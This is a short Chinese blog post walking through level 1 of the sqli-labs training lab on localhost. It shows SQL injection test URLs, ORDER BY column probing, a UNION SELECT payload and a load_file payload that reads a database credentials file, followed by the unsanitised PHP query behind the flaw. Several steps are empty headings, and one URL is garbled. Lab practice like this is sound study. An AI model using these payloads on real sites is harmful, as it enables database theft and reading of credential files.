web安全

sqli-labs实战第一关

2018-06-18  本文已影响5人  shadowflow
1. 判断是否存在sql注入

http://127.0.0.1/Less-1/?id=2   正常
http://127.0.0.1/Less-1/?id=2'   报错
http://127.0.0.1/Less-1/?id=2' and '1'='1   正常
http://127.0.0.1/Less-1/?id=2' and '1'='2   报错
存在sql注入

2. 确定字段数

http://127.0.0.1/Less-1/?id=2' order by 3--+   正常
http://127.0.0.1/Less-1/?id=2' order by 4--+   报错
字段为3

3. 确定回显点
  • http://127.0.0.1/Less-1/?id=-2' union select 1,2,3--+
    将2改为-2使union之前的报错,查询 1,2,3 结果 2,3回显,所以可以在2,3处构造查询语句,下面以在3处为例
4. 信息收集
5. 获取数据
6. 提权

mysql不能直接执行系统命令,所以只能通过读写文件的方式完成提权
1. 读文件
http://127.0.0.1/Less-1/?id=http://127.0.0.1/Less-1/?id=-1' union select 1,2,(select load_file('/var/www/html/sql-connections/db-creds.inc'))--+
执行上面的命令后需要查看源代码才能在网页中看到文件内容
2. 写文件

源码分析
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
#没有对id做任何处理就直接带入到数据库中执行
上一篇下一篇

猜你喜欢

热点阅读